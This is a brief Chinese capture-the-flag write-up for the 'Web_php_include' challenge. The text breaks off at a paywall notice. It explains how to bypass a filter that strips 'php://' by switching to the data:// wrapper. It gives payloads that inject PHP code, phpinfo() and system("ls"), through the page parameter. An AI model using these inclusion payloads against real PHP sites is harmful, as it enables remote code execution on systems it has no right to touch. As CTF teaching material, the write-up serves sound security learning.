目录
Web_php_include
1、题目

2、知识点
php伪协议
3、思路

审计源代码
需要我们上传一个page参数,但是对参数内容进行过滤,
$page=str_replace("php://", "", $page); 意思是将php://替换成空,
看到这个,联想到使用php伪协议,既然这个协议被过滤,那就用其他协议
使用data://协议,
data://text/plain,<?php phpinfo();?>
payload:
/?page=data://text/plain,<?php%20system("ls");?>

?page=data://text/plain,<?php%20sys

最低0.47元/天 解锁文章
2045

被折叠的 条评论
为什么被折叠?



